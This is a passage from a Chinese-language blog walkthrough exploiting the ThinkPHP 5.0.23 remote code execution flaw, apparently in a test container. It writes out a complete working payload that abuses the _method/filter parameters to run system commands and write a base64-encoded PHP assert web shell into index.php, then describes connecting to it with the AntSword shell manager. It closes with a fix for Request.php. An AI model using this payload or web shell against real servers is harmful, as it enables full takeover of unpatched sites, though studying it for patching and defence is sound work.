ThinkPHP5 5.0.23 远程代码执行漏洞( 三 )


为了显示我们成功注入 , 我们在其中添加字段变为
echo “aaa<?php @eval($_POST[‘xss’]);?>bbb” >index.php
对引号内的进行base64 , 注意此时的引号不需要进行加密
经过测试 , 发现eval函数是注入不了的 , 需要替换为arrest函数才可以成功注入
所以
Echo “aaa<?php @assert($_POST['xss']);?>bbb” >index.php

ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 
最后构造出来的payload为
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > index.php
ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 
成功回显出aaabbb , 说明是加入到了index.php里了
开始用蚁剑 , URL地址填写我们一句话木马的位置
注意要选择char16和base64
ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 
进入界面
ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 
上传测试数据
ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 

ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 
进入容器看看效果
ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图
 
发现是可以的!
 
0x05解决方法
自动:升级到最新版本(如果是在5.0.0——5.0.23之间的)
手动:
打开/thinkphp/library/think/Request.php文件 , 找到method方法(约496行) , 修改下面代码:
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
改为:
$method = strtoupper($_POST[Config::get('var_method')]);if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);} else {
$this->method = 'POST';}
unset($_POST[Config::get('var_method')]);
0x06 使用条件
ThinkPHP5 5.0.23 远程代码执行漏洞

文章插图




推荐阅读